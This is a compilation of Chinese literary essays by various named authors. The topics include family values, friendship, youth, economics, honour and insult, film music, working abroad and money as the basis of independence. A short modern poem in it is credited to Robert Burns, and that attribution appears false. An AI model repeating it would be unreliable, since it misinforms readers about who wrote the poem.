　　过去时代的中国，个人在社会生活中是没有空间的，如果个人想要表达自我诉求，唯一的方式就是投身到集体的运动之中，比如“大跃进”和“文革”。值得注意的是，在这些轰轰烈烈的集体运动中，个人的自我诉求必须和当时的社会准则或者说是政治标准完全一致，稍有偏差就会引来麻烦和厄运。用当时流行的比喻，我们每个人都是一滴水，汇集到社会主义的大江大河之中。

　　在那个时代，个人只能在家庭中拥有其真正的空间。也就是说个人的自我诉求作为独立的意义，只能在家庭生活中表达出来。因此当时的社会纽带不是个人和个人之间联结起来的，而是家庭和家庭之间的联结。可以这么说，家庭是当时社会生活里的最小单位。

　　这就是为什么家庭价值观在中国人这里曾经如此地重要，夫妻之间的不忠被视为大逆不道。当时的社会伦理会让婚外恋者遭受种种耻辱，比如剃成阴阳头的发型游街，甚至以流氓罪被判刑。“文革”期间，由于政治斗争的残酷，夫妻相互揭发，父子反目屡有发生，不过这些事例只是出现在少数家庭，极大多数家庭则是空前团结。在当时外部环境的高压之下，人们十分珍惜家庭的内部生活，因为只剩下这一点点属于个人了。

　　改革开放之后，经济的飞速发展让中国出现了翻天覆地的变化，这样的变化渗透到了中国的方方面面。思维方式和生活方式，世界观和价值观也同样翻天覆地地变化了。于是，过去的伦理道德逐渐缺失，利益和金钱的处世哲学替代了过去革命的处世哲学。过去有过一句著名的口号：“宁要社会主义的草，不要资本产义的苗。”今天的中国，已经让我们很难分清什么是属于社会主义的，什么是属于资本主义，我觉得草和苗在今天的中国已经是同一种植物了。

　　被压制已久的个人主义，在一个唯利是图的社会里突然兴起，必然会冲击家庭价值观。其实，强调个人价值和遵守家庭价值之间本来不是矛盾，问题是我们的发展太快了，短短三十多年，我们从一个极端走向了另外一个极端，从一个人性压抑的时代来到了一个人性放荡的时代，从一个政治第一的时代来到了一个物质至上的时代。过去，社会束缚的长期存在，让人们只能在家庭里感受到些许自由；今天，社会的束缚消失之后，曾经让人倍加珍惜的家庭自由突然间无足轻重了。如今婚外恋越来越普遍，已经不是什么见不得人的事。

　　当每个人都拥有一个舞台，可以充分地秀自己之时，过去意义的家庭在今天完全改变了，或者说现在的家庭不再像过去那样承载很多属于社会的功能。很多人不再像他们的父辈那样珍惜家庭，因为他们的价值更多地体现在了社会生活里，很少体现在家庭生活中。

　　过去的三十多年，我们的发展就像是一匹脱缰的野马那样一路狂奔，我们全体都在后面大汗淋漓地追赶，我们追赶的步伐常常跟不上发展的速度。展望今后的十年，我觉得，或者说我希望，我们发展的速度应该慢下来，这匹脱缰的野马应该跑累了，应该放慢脚步了。

　　然后，我们可以在个人价值和家庭价值之间找到平衡。

关于朋友

叔本华

　　正如流通的是纸钞，而不是真金白银，同样，在这个世界上，流行的不是发自内心的尊重和真正的友谊，而只是做得尽量逼真和自然地显示尊重和友谊的表面工夫。不过，我们也不妨自问：又有哪些人值得我们对其使用真金白银呢？不管怎么样，我认为一条诚实的狗的摇尾示好，比人们的那些表面工夫更有价值。

　　真实不虚的友谊有着这样的一个前提：对朋友的痛苦、不幸抱有一种强烈的、纯客观的和完全脱离利害关系的同情。这也就意味着我们真正与我们的朋友感同身受。但人的自我本性却与这种做法格格不入，所以，真正的友谊就像那些硕大无朋的海蛇那样，要么只是一种传说，要么只存在于另外别的地方，我不知道到底为何者。人与人之间的许多联系当然主要是建筑在各式各样的被隐藏起来的自私动机之上，但某些这样的联系也包含了点滴的真正友谊的成份。这样，它们就得到了人们的美化和推崇。在这样一个充满缺陷的世界里，把这些联系冠以友谊之名也并不是完全没有理由的。它们远胜那些泛泛之交。后者是些什么样的货色呢？果我们知道我们的大部分好朋友在我们背后所说的话，我们就不会再想跟他们说话了。

　　检验一个人是不是我们真正的朋友，除了一些需要得到朋友的确切帮助和作出一定牺牲的情形以外，最好的时机就是当我们告诉他恰逢某样不幸的时候。在这一刹那，他的脸上要么显示出一种真心的、不含杂质的悲哀，要么就是一副镇定自若的样子；或者，他会流露出某种别样的表情，后两者都证实了拉罗什福科的那句名言“从我们最好的朋友所遭遇的不幸，我们总能找到某样并不会使我们不悦的东西。”在类似这种时候，一般我们称之为朋友的人甚至掩饰不住脸上一丝满意的笑容。没有什么比告诉别人我们刚刚遭受了一桩巨大的不幸，或者向别人毫无保留地透露出自己的某些个人的弱点，更能确切地使别人得到好的心情了。这是反映人性的典型例子。

　　朋友间分隔太远和长时间互不见面都会有损朋友之间的友情，尽管我们并不那么乐意承认这一点。如果久不相见，甚至我们最亲爱的朋友也会随着岁月的流逝逐渐变成抽象的概念；我们对他们的关切也由此变得越来越理性，甚至这种关系只是一种惯性的作用。但对那些我们朝夕相见的人，哪怕那只是我们宠爱的动物，我们都能够保持强烈和深切的兴趣。人的本性就是如此地受制于感官。所以，歌德的话在这里是适用的：

　　现在此刻是一个威力无比的女神。

　　“hausfreunde”一词表达得相当准确，因为这种朋友是居屋、家庭的朋友更甚于居屋主人的朋友，因此，他们更像是猫，而不是犬的一类。

　　朋友都说自己是真诚的，其实，敌人才是真诚的。所以，我们应该把敌人的抨击、指责作为苦口良药，以此更多地了解自己。

　　患难之交真的那么稀有吗？恰恰相反，我们一旦和某人交上了朋友，他就开始患难了，就向我们借钱了。

当三毛还是在二毛的时候

三毛

　　我之所以不害羞的肯将我过去十七岁到二十二岁那一段时间里所发表的一些文稿成集出书，无非只有一个目的--这本《雨季不再来》的小书，代表了一个少女成长的过程和感受。它也许在技巧上不成熟，在思想上流于迷惘和伤感，但它的确是一个过去的我，一个跟今日健康进取的三毛有很大的不同的二毛。

　　人之所以悲哀，是因为我们留不住岁月，更无法不承认，青春，有一日是要这么自然的消失过去。

　　而人之可贵，也在于我们因着时光环境的改变，在生活上得到长进。岁月的流失固然是无可奈何，而人的逐渐蜕变，却又脱不出时光的力量。

　　当三毛还是二毛的时候，她是一个逆子，她追求每一个年轻人自己也说不出到底是在追求什么的那份情怀，因此，她从小不在孝顺的原则下做父母请求她去做的事情。

　　一个在当年被父母亲友看作问题孩子的二毛，为什么在十年之后，成了一个对凡事有爱、有信、有望的女人？在三毛自己的解释里，总脱不开这两个很平常的字--时间。

　　对三毛来说，她并不只是睡在床上看着时光在床边大江东去。十年来，数不清的旅程，无尽的流浪，情感上的坎坷，都没有使她白白的虚度她一生最珍贵的青年时代。这样如白驹过隙的十年，再提笔，笔下的人，已不再是那个悲苦、敏感、浪漫、而又不负责任的毛毛了。

　　我想，一个人的过去，就像圣经上雅各的天梯一样，踏一步决不能上升到天国去。而人的过程，也是要一格一格的爬着梯子，才能到了某种高度。在那个高度上，满江风月，青山绿水，尽入眼前。这种境界心情与踏上第一步梯子而不知上面将是什么情形的迷惘惶惑是很不相同的。

　　但是，不能否认的是，二毛的确跌倒过，迷失过，苦痛过，一如每一个"少年的维特"。

　　我多年来没有保存自己手稿的习惯，发表的东西，看过就丢掉，如果不是细心爱我的父亲替我一张一张的保存起来，我可能已不会再去回顾一下，当时的二毛是在喃喃自语着些什么梦话了。

　　我也切切的反省过，这样不算很成熟的作品，如果再公诸于世，是不是造成一般读者对三毛在评价上的失望和低估，但我静心的分析下来，我认为这是不必要的顾虑。一个家庭里，也许都有一两个如二毛当时年龄的孩子。也许我当年的情形，跟今日的青年人在环境和社会风气上已不很相同，但是不能否认的，这些问题在年轻的孩子身上都仍然存在着。

　　一个聪明敏感的孩子，在对生命探索和生活的价值上，往往因为过份执着，拚命探求，而得不着答案，于是一份不能轻视的哀伤，可能会占去他日后许许多多的年代，甚而永远不能超脱。

　　我是一个普通的人，我平凡的长大，做过一般年轻人都做的傻事。而今，我在生活上仍然没有稳定下来，但我在人生观和心境上已经再上了一层楼，我成长了，这不表示我已老化，更不代表我已不再努力我的前程。但是，我的心境，已如渺渺清空，浩浩大海，平静，安详，淡泊。对人处事我并不天真，但我依旧看不起油滑，我不偏激，我甚而对每一个人心存感激，因为生活是人群共同建立的，没有他人，也不可能有我。

　　《雨季不再来》是我一个生命的阶段，是我无可否认亦躲藏不了的过去。它好，它不好，都是造就成今日健康的三毛的基石。也就如一块衣料一样，它可能用旧了，会有陈旧的风华，而它的质地，却仍是当初纺织机上织出来的经纬。

　　我多么愿意爱护我的朋友们，看看过去三毛还是二毛的样子，再回头来看看今日的《撒哈拉的故事》那本书里的三毛，比较之下，有心人一定会看出这十年来的岁月，如何改变了一朵温室里的花朵。

　　有无数的读者，在来信里对我说——"三毛，你是一个如此乐观的人，我真不知道你怎么能这样凡事都愉快。"我想，我能答复我的读者的只有一点，"我不是一个乐观的人。"

　　乐观与悲观，都流于不切实际。一件明明没有希望的事情，如果乐观的去处理，在我，就是失之于天真，这跟悲观是一样的不正确，甚而更坏。

　　我，只是一个实际的人，我要得着的东西，说起来十分普通，我希望生儿育女做一个百分之百的女人。一切不着边际的想法，如果我守着自己淡泊宁静的生活原则，我根本不会刻意去追求它。对于生活的环境，我也抱着一样的态度。我唯一锲而不舍，愿意以自己的生命去努力的，只不过是保守我个人的心怀意念，在我有生之日，做一个真诚的人，不放弃对生活的热爱和执着，在有限的时空里，过无限广大的日子。如果将我这种做法肯定是"乐观"，那么也是可以被我接受和首肯的。

　　再读《雨季不再来》中一篇篇的旧稿，我看后心中略略有一份怅然。过去的我，无论是如何的沉迷，甚而有些颓废，但起码她是个真诚的人，她不玩世，她失落之后，也尚知道追求，那怕那份情怀在今日的我看来是一片惨绿，但我情愿她是那个样子，而不希望她什么都不去思想，也不提出问题，二毛是一个问题问得怪多的小女人。

　　也有人问过我，三毛和二毛，你究竟偏爱那一个？我想她是一个人，没法说怎么去偏心，毕竟这是一枝幼苗，长大了以后，出了几片清绿。而没有幼苗，如何有今天这一点点喜乐和安详。

　　在我的时代里，我被王尚义的《狂流》感动过，我亦受到《弘一法师的传记》很深的启示和向往。而今我仍爱看书，爱读书，但是过去曾经被我轻视的人和物，在十年后，我才慢慢减淡了对英雄的崇拜。我看一沙，我看一花，我看每一个平凡的小市民，在这些事情事物的深处，才明白悟出了真正的伟大和永恒是在那里，我多么喜欢这样的改变啊？

　　所以我在为自己过去的作品写一些文字时，我不能不强调，《雨季不再来》是一个过程，请不要忽略了。这个苍白的人，今天已经被风吹雨打成了铜红色的一个外表不很精致，而面上已有风尘痕迹的三毛。在美的形态上来说，那一个是真正的美，请读者看看我两本全然不同风格的书，再做一个比较吧！

　　我不是一个作家，我不只是一个女人，我更是一个人。我将我的生活记录下来了一部份，这是我的兴趣，我但愿没有人看了我的书，受到不好的影响。《雨季不再来》虽然有很多幼稚的思想，但那只是我做二毛时在雨地里走着的几个年头，毕竟雨季是不会再在三毛的生命里再来了。

　　《雨季不再来》本身并没有阅读的价值，但是，念了《撒哈拉的故事》之后的朋友，再回过来看这本不很愉快的小书，再拿这三毛和十年前的二毛来比较，也许可以得着一些小小的启示。三毛反省过，也改正过自己在个性上的缺点。人，是可以改变的，只是每一个人都需要时间。我常常想，命运的悲剧，不如说是个性的悲剧。我们要如何度过自己的一生，固执不变当然是可贵，而有时向生活中另找乐趣，亦是不可缺少的努力和目标，如何才叫做健康的生活，在我就是不断的融合自己到我所能达到的境界中去。我的心中有一个不变的信仰，它是什么，我不很清楚，但我不会放弃这在冥冥中引导我的力量，直到有一天我离开尘世，回返永恒的地方。

　　真正的快乐，不是狂喜，亦不是苦痛，在我很主观的来说，它是细水长流，碧海无波，在芸芸众生里做一个普通的人，享受生命一刹间的喜悦，那么我们即使不死，也在天堂里了。

经济学的旁听生

张晓风

　　“什么是经济学呢？”他站在讲台上，戴眼镜，灰西装，声音平静，典型的中年学者。

　　台下坐的是大学一年级的学生，而我，是置身在这二百人大教室里偷偷旁听的一个。

　　从一开学我就昂奋起来，因为在课表上看见要开一门《社会科学概论》的课程，包括四位教授来设“政治”“法律”“经济”“人类学”四个讲座。想起可以重新做学生，去听一门门对我而言崭新的知识，那份喜悦真是掩不住藏不严，一个人坐在研究室里都忍不住要轻轻的笑起来。

　　“经济学就是把‘有限资源’做‘最适当的安排’，以得到‘最好的效果’。”

　　台下的学生沙沙的抄着笔记。

　　“经济学为什么发生呢？因为资源‘稀少’，不单物质‘稀少’，时间也‘稀少’，——而‘稀少’又是为什么？因为，相对于‘欲望’，一切就显得‘稀少’了……”

　　原来是想在四门课里跳过经济学不听的，因为觉得讨论物质的东西大概无甚可观，没想到一走进教室来竟听到这一番解释。

　　“你以为什么是经济学呢？一个学生要考试，时间不够了，书该怎么念，这就叫经济学啊！”

　　我愣在那里反复想着他那句“为什么有经济学——因为稀少——为什么稀少，因为欲望”而麻颤惊动，如同山间顽崖愚壁偶闻大师说法，不免震动到石骨土髓格格作响的程度。原来整场生命也可作经济学来看，生命也是如此短小稀少啊！而人的不幸却在于那颗永远渴切不止的有所索求，有所跃动．有所未足的心，为什么是这样的呢？为什么竟是这样的呢？我痴坐着，任泪下如麻不敢去动它，不敢让身旁年轻的助教看到，不敢让大一年轻的孩子看到。奇怪，为什么他们都不流泪呢？只因为年轻吗？因年轻就看不出生命如果像戏，也只能像一场短短的独幕剧吗？“朝如青丝暮成雪”，乍起乍落的一朝一暮间又何尝真有少年与壮年之分？“急把盏，夜阑灯灭”，匆匆如赴一场喧哗夜宴的人生，又岂有早到晚到早走晚走的分别？然而他们不悲伤，他们在低头记笔记。听经济学听到哭起来，这话如果是别人讲给我听，我大概会大笑，笑人家的滥情，可是……。

　　“所以，”经济学教授又说话了，“有位文学家卡莱亚这样形容：经济学是门‘忧
郁的科学’……”

　　我疑惑起来，这教授到底是因有心而前来说法的长者，还是以无心来渡脱的异人？至于满堂的学生正襟危坐是因岁月尚早，早如揭衣初涉水的浅溪，所以才凝然无动吗？为什么五月山桅子的香馥里，独独旁听经济学的我为这被一语道破的短促而多欲的一生而又惊又痛泪如雨下呢？

荣辱

丰子恺

　　为了一册速写簿遗忘在里湖的一爿小茶店里了，特地从城里坐黄包车去取。讲到车钱来回小洋四角。

　　这速写簿用廿五文一大张的报纸做成，旁边插着十几个铜板一枝的铅笔。其本身的价值不及黄包车钱之半。我所以是要取者，为的是里面已经描了几幅画稿。本来画稿失掉了可以凭记忆而背摹；但这几幅偏生背摹不出，所以只得花了功夫和车钱去取。我坐在黄包车里心中有些儿忐忑。仔细记忆，觉得这的确是遗忘在那茶店里面第二只桌子的墙边的。记得当我离去时，茶店老板娘就坐在里面第一只桌子旁边，她一定看到这册速写簿，已经代我收藏了。即使她不收藏，第二个顾客坐到我这位置里去吃茶，看到了这册东西一定不会拿走，而交给老板娘收藏。因为到这茶店里吃茶的都是老主顾，而且都是劳动者，他们拿这东西去无用。况且他们曾见我在这里写过好几次，都认识我，知道这是我的东西，一定不会吃没我。我预卜这辆黄包车一定可以载了我和一册速写而归来。

　　车子走到湖边的马路上，望见前面有一个军人向我对面走来。我们隔着一条马路相向而行，不久这人渐渐和我相近。当他走到将要和我相遇的时候，他的革靴嘎然一响，立正，举手，向我行了一个有色有声的敬礼。我平生不曾当过军人，也没有吃粮的朋友，对于这种敬礼全然不惯，不知怎样对付才好，一刹那间心中混乱。但第二刹那我就决定不理睬他。因为我忽然悟到，这一定是他的长官走在我的后面，这敬礼与我是无关的。于是我不动声色地坐在车中，但把眼斜转去看他礼毕。我的车夫跑得正快，转瞬间我和这行礼者交手而过，背道而驰。我方才旋转头去，想看看我后面的受礼者是何等样人。不意后面并无车子，亦无行人，只有那个行礼者。他正也在回头看我，脸上表示愤怒之色，隔着二三丈的距离向我骂了一声悠长的“妈——的！”然后大踏步去了。我的车夫自从见我受了敬礼之后，拉得非常起劲。不久使我和这“妈——的”相去遥远了。

　　我最初以为这“妈——的”不是给我的，同先前的敬礼的不是给我一样。但立刻确定它们都是给我的。经过了一刹那间的惊异之后，我坐在黄包车里独自笑起来。大概这军人有着一位长官，也戴墨镜，留长须，穿蓝布衣，其相貌身材与我相象。所以他误把敬礼给了我。但他终于发觉我不是他的长官，所以又拿悠长的“妈——的”来取消他的敬礼。我笑过之后一时终觉不快。倘然世间的荣辱是数学的，则“我+敬-妈的=我”同“3+1-1=3”一样，在我没有得失，同没有这回事一样，但倘不是数学的而是图画的，则涂了一层黑色之后再涂一层白色上去取消它，纸上就堆着痕迹，或将变成灰色，不复是原来的素纸了，我没有冒领他的敬礼，当然也不受他的“妈——的”。但他的敬礼实非为我而行，而他的“妈——的”确是为我而发。故我虽不冒领敬礼，他却要我是收“妈——的”。无端被骂，觉得有些冤枉。

　　但我的不快立刻消去。因为归根究底，终是我的不是，为甚么我要貌似他的长官，以致使他误认呢？昔夫子貌似了阳货，险些儿“性命交关”。我只受他一个“妈——的”，比较起来真是万幸了。况且我有因此得些便宜：那黄包车夫没有听见“妈——的”，自从见我受了军人的敬礼之后，拉的非常起劲。先前咕噜地说“来回四角太苦”，后来一声不响，出劲地拉我到小茶店里，等我取得了速写簿，又出劲地拉我回转。给他四角小洋，他一声不说：我却自动地添了他五个铜子。

　　我记录了这段奇遇之后，作如是想：因误认而受敬，因误认而被骂。世间的毁誉荣辱，有许多是这样的。

　　一九三五年三月六日于杭州

　　# 电影音乐给谁听

梁文道

　　以前我不懂，为什么有那么多人喜欢买电影的原声唱片（soundtrack），使得稍有规模的唱片行都要开设专柜，去满足那些看了电影还要尸骸的迷哥迷姐。尸骸，就是过去电影音乐在我脑子里的印象。那些唱片犹如亲友骸骨，让悼亡人带回家去沉思想念，仿佛死者音容宛在。有时候看到一些人在唱片行的询问处开口要套烂片的原声唱片，我感觉更恶心，像是看见嫖客回到妓院问老鸨要姑娘的内裤做纪念。

　　其实我也买这种唱片，骨灰盅和内裤都有。家里既有基耶斯洛夫斯基（Krzysztof Kieślowski）的老搭档普莱斯纳（Zbigniew Preisner）的全部作品，也有很多乐评人嗤之以鼻的约翰 · 威廉姆斯（John Williams）为《辛德勒的名单》作的配乐。可是我从不敢正面面对自己买它们的理由，因为我总是不懂该如何看待这些唱片：它们到底是可以独立听的音乐，抑或只不过是一部电影的“配乐”？其中当然有聆听价值极高的作品，但在欣赏的时候又总是无法排除记忆里的那些动人画面，这又会不会不够纯粹？如果有些音乐极好，甚至远胜它原来要陪衬的影片，这是否说明了作曲者和导演的合作有问题？

　　于是我读罗展凤的《电影 × 音乐》，一本中文世界里难得专谈电影音乐的书。她写库布里克（Stanley Kubrick）与科波拉（Francis Ford Coppola）实在写得好，这两人用古典音乐实在用得出神入化。例如《2001 太空漫游》，谁会想过圆舞曲大王约翰 · 施特劳斯的《蓝色多瑙河》竟可以如此脱俗，在一部科幻电影里面，为星球和飞行器伴舞，演出一场太空华尔兹？罗展凤详细地交代了库布里克一直以来对音乐的看法，又把《蓝色多瑙河》在《2001 太空漫游》中出现三次的场面一一分析。她的叙述清楚又引人入胜，读了之后不仅让一般乐迷更理解施特劳斯的原意，也使影迷更佩服库布里克的大师手笔；他对这曲子的深刻认识，令他可以潇洒地使用它。难怪有人是从看库布里克的电影开始，才爱上古典音乐。

　　罗展凤这本书叫我惊讶的是，竟有一章专谈小津安二郎的电影音乐。或许是我迟钝，在我的记忆中，小津的电影似乎总是没有音乐的。一段段平稳细琐的对话和平常生活，静静的镜头，怎还容得下多余的吵耳乐声？但罗展凤却说：“细听小津电影中的音乐，往往发现其低调简单的调子见精致细腻，平淡中充满了一股慑人的生命力，单独听来，更有一种舒缓的净化之感。与其说小津不在意音乐的好与不好，不如说小津把音乐的角色在电影中淡化，但淡而不薄，平淡中见典雅，不时为电影起到点睛的效用。”这么说来，小津不是不爱用音乐，而是用得太好，以至于我听过却不觉其在。那么写作那些单独听来也十分美好的曲子的作者又是谁？原来叫斋藤高顺。看来我得购回来听听了。

　　但我还是没搞清楚电影音乐是种什么类型的音乐。我只能说自己“臭老九”的脾性太深，太喜欢纯粹的东西。这世上又有多少纯粹属于听觉的音乐呢？而电影，本来不就开宗明义是综合的艺术吗？其实我什么都不懂。

人类的群星闪耀时

茨威格

　　没有一个艺术家会在他一天的二十四小时之内始终处于不停的艺术创作之中；所有那些最具特色、最有生命力的成功之笔往往只产生在难得而又短暂的灵感勃发的时刻。历史——我们把它赞颂为一切时代最伟大的诗人和演员——亦是如此，它不可能持续不断地进行新的创造。尽管歌德曾怀着敬意把历史称为“上帝的神秘作坊”，但在这作坊里发生的，却是许多数不胜数无关紧要和习以为常的事。在这里也像在艺术和在生活中到处遇到的情况一样，那些难忘的非常时刻并不多见。这个作坊通常只是作为编年史家，冷漠而又持之以恒地把一件一件的事实当做一个又一个的环节连成一条长达数千年的链条，因为所有那些最重要的历史性时刻都需要有酝酿的时间，每一桩真正的事件都需要有一个发展过程。在一个民族内，为了产生一位天才，总是需要有几百万人。一个真正具有世界历史意义的时刻——一个人类的群星闪耀时刻出现以前，必然会有漫长的岁月无谓地流逝。

　　不过，诚如在艺术上一旦有一位天才产生就会流芳百世一样，这种具有世界历史意义的时刻一旦发生，就会决定几十年甚至几百年的历史进程。就像避雷针的尖端集中了整个大气层的电流一样，那些数不胜数的事件也都往往挤在这最短的时间内发生。那些平时慢慢悠悠顺序发生和并列发生的事，都压缩在这样一个决定一切的短暂时刻表现出来。这一时刻对世世代代作出不可改变的决定，它决定着一个人的生死、一个民族的存亡甚至整个人类的命运。

　　这种充满戏剧性和命运攸关的时刻在个人的一生中和历史的进程中都是难得的；这种时刻往往只发生在某一天、某一小时甚至常常只发生在某一分钟，但它们的决定性影响却超越时间。在这里，我想从极其不同的时代和地区回顾群星闪耀的某些时刻——我这样称呼那些时刻，是因为它们宛若星辰一般永远散射着光辉，普照着暂时的黑夜。但我丝毫不想通过自己的虚构来增加或者冲淡所发生的一切的内外真实性，因为在那些非常时刻历史本身已表现得十分完全，无须任何后来的帮手。历史是真正的诗人和戏剧家，任何一个作家都别想超过它。

打工经历

王小波

　　在美留学时，我打过各种零工。其中有一回，我和上海来的老曹去给家中国餐馆装修房子。这家餐馆的老板是个上海人，尖嘴猴腮，吝啬得不得了；给人家当了半辈子的大厨，攒了点钱，自己要开店，又有点烧得慌——这副嘴脸实在是难看，用老曹的话来说，是一副赤佬像。上工第一天，他就对我们说：我请你们俩，就是要省钱，否则不如请老美。这工程要按我的意思来干。要用什么工具、材料，向我提出来，我去买。别想揩我的油……

　　以前，我知道美国的科技发达、商业也发达，但我还不知道，美国还是各种手艺人的国家。我们打工的那条街上就有一大窝，什么电工、管子工、木工等等，还有包揽装修工程的小包工头儿；一听见我们开了工，就都跑来看。先看我们抡大锤、打钎子，面露微笑，然后就跑到后面去找老板，说：你请的这两个宝贝要是在本世纪内能把这餐馆装修完，我输你一百块钱。我脸上着实挂不住，真想扔了钎子不干。但老曹从牙缝里啐口吐沫说：不理他！这个世纪干不完，还有下个世纪，反正赤佬要给我们工钱……

　　俗话说，没有金刚钻，别揽磁器活。要是不懂怎么装修房子就去揽这个活，那是我们的错。我虽是不懂，但有一把力气，干个小工还是够格的。人家老曹原是沪东船厂的，是从铜作工提拔起来的工程师，专门装修船舱的，装修个餐馆还不知道怎么干吗……他总说，现在的当务之急是买工具、租工具，但那赤佬老板总说，别想揩油。与其被人疑为贪小便宜，还不如闷头干活，赚点工钱算了。

　　等把地面打掉以后，我们在这条街上赢得了一定程度的尊敬。顺便说一句，打下来的水泥块是我一块块抱出去，扔到垃圾箱里，老板连个手推车都舍不得租。他觉得已经出了人工钱，再租工具就是吃了亏。那些美国的工匠路过时，总来聊聊天，对我们的苦干精神深表钦佩。但是他们说，活可不是你们俩这种干法。说实在的，他们都想揽这个装修工程，只是价钱谈不拢。下一步是把旧有的隔断墙拆了。我觉得这很简单，挥起大锤就砸——才砸了一下，就被老板喝止。他说这会把墙里的木料砸坏。隔断墙里能有什么木料，不过是些零零碎碎的破烂木头。但老板说，要用它来造地板。于是，我们就一根根把这些烂木头上的钉子起出来。美国人见了问我们在干什么，我如实一说，对方捂住肚子往地下一蹲，笑得就地打起滚来。这回连老曹脸上都挂不住了，直怪我太多嘴……

　　起完了钉子，又买了几块新木料，老板要试试我们的木匠手艺，让我们先造个门。老曹就用锯子下起料来：我怎么看，怎么觉得这锯子不像那么回事儿，锯起木头来直拐弯儿。它和我以前见过的锯子怎么就那么不一样呢。正在干活，来了一个美国木匠。他笑着问我们原来是干啥的。我出国前是个大学教师，但这不能说，不能丢学校的脸。老曹的来路更不能说，说了是给沪东船厂丢脸。我说：我们是艺术家。这话不全是扯谎。我出国前就发表过小说，至于老曹，颇擅丹青，作品还参加过上海工人画展……那老美说：我早就知道你们是艺术家！我暗自得意：我们身上的艺术气质是如此浓郁，人家一眼就看出来了。谁知他又补充了一句，工人没有像你们这么干活的！等这老美一走，老曹就扔下了锯子，破口大骂起来。原来这锯子的正确用途，是在花园里锯锯树杈……

　　我们给赤佬老板干了一个多月，也赚了他几百块钱的工钱，那个餐馆还是不像餐馆，也不像是冷库，而是像个破烂摊。转眼间夏去秋来，我们也该回去上学了。那老板的脸色越来越难看，天天催我们加班。催也没有用，手里拿着手锤铁棍，拼了命也是干不出活来的。那条街上的美国工匠也嗅出味来了，全聚在我们门前，一面看我们俩出洋像，一面等赤佬老板把工程交给他们。在这种情况下，连老曹也绷不住，终于和我一起辞活不干了。于是，这工程就像熟透的桃子一样，掉进了美国师傅的怀里。本来，辞了活以后就该走掉。但老曹还要看看美国人是怎么干活的。他说，这个工程干得窝囊，但不是他的过错，全怪那赤佬满肚子馊主意。要是由着他的意思来干，就能让洋鬼子看看中国人是怎么干活的……

　　美国包工头接下了这个工程，马上把它分了出去，分给电工、木工、管子工，今天上午是你的，下午是他的，后天是我的，等等。几个电话打出去，就有人来送工具，满满当当一卡车。这些工具不要说我，连老曹都没见过。除了电锯电刨，居然还有用电瓶的铲车，可以在室内开动，三下五除二，就把我们留下的破烂从室内推了出去。电工上了电动升降台，在天花板上下电线，底下木工就在装配地板，手法纯熟之极。虽然是用现成的构件，也得承认人家干活真是太快了。装好以后电刨子一跑，贼亮；干完了马上走人，运走机械，新的工人和机械马上开进来……转眼之间，饭馆就有个样儿了……我和老曹看了一会儿，就灰溜溜地走开了。这是因为我们都当过工人，知道怎么工作才有尊严。

远处的一双眼睛

张小娴

　　我们或许都经历过这种日子：你做一件事情，是因为你知道有一双眼睛在看。

　　那双眼睛属于一个你在乎的人，他也许是你的亲人，也许是你的恋人，也许是你仰慕和崇拜的人，也许是你暗恋的人，也许是你的旧情人。

　　有了这双眼睛，你无论做什么事情，首先想到的不是自己，而是这双眼睛的主人。他会怎样看这件事情？又会有什么反应和评价？

　　因为感到他在看或者相信他会看，我们总是奋力做到最好。所有的一切，变成不是为自己做，而是为他做，渴望得到他的认同或赞许。

　　一个人若是只为自己努力，毕竟太寂寞了。若是有一个你在乎的人在看，那才不枉此生。

　　那一双在远处辉映的眼睛，既是一种鼓励，也是一种情结，是我们多么想去讨好却又害怕失去的一双眼睛。

你要是在麦田里遇到了我

罗伯特 · 彭斯

　　这里不是家

　　你却是生长根茎的影子

　　习惯把自己养在金黄的梦里

　　我在你的世界练习降落

　　不谈金钱 权利和性

　　只开着一扇干净的窗户

　　折射低飞的阳光

　　你要是在麦田里遇到了我

　　我要是在麦田里遇到了你

　　我们要是看到很多孩子

　　在麦田里做游戏

　　请微笑 请对视

　　态度都浮在生活的措辞里

　　我们都活在彼此的文字里

你有没有钱

李敖

　　宋朝的司马光是国家的大臣，很多人刚进朝廷的时候总是先去拜访他。

　　他跟对方聊天的时候常常问一个使人很难堪的问题。他问：你家里有没有钱？你的开支够不够？你有没有欠人家的钱？诸如此类。被问的人出来以后都很奇怪，说司马光这么了不起的国家大臣，怎么问我有没有钱这种小问题啊，怎么会问这种怪问题后来大家再打听，才知道是什么原因。

　　司马光的标准是：你这个人有没有钱，能不能维持生活，能不能不为五斗米折腰。你有这个本领有这个钱以后，他才认为你有独立的人格。

　　随时可以丢掉乌纱帽，为了我的原则可以不做官。为什么呢？因为我不会饿死，我有钱可以保护我的自由。所以，有没有钱才可以决定一个人有没有独来独往的人格。这就是司马光的一个标准。

　　美国的富兰克林讲过一句话，他说，两个口袋空的人腰挺不直。为什么呢？因为你会求人。你说我不求人，我就是说不出，我愿意。好，你小孩得了盲肠炎要开刀，要救命，你没有钱，你要不要为你的小孩去求别人？你会求人。 为了自己可以做好汉，可是为了救小孩你会求人。

　　美国的总统里，有两个总统不领薪水，为什么？老子有钱，老子愿意完全义务地为国家服务。一个就是胡佛，一个就是肯尼迪。胡佛的太太会讲中文。1900 年，胡佛和他太太在中国开滦煤矿做工程师。他那时候就发了大财，在中国赚了 100 万美金。他讲了一句话：人生最难赚的就是第一个 100 万。

　　我过去开的汽车后面的窗是三角形的，在台湾只有两辆有这种三角窗的凯迪拉克汽车，这是当年我跟电影明星太太胡茵梦坐的汽车。现在没有汽车了，我李敖有时坐公共汽车。上车的时候汽车司机认识我，李大师，你怎么也坐公共汽车？我说，我为什么不能坐公共汽车？

　　这是我的平民化，所以我们不在乎这个，有就有，没有就没有，我讲这些，证明了一点：我们要有一个生活的物质基础。我就是想告诉大家，要有点钱来保护自己的独来独往，保护你随时可以跟老板说再见，随时不为五斗米折腰。你要有一点点钱，把这钱藏起来，保护你的自由。

　　要在这个基础之上，你才能够说，我一辈子的志愿不是吃饱了穿暖了就算了，我还有更高的更伟大的志愿呢。

爱情故事

余华

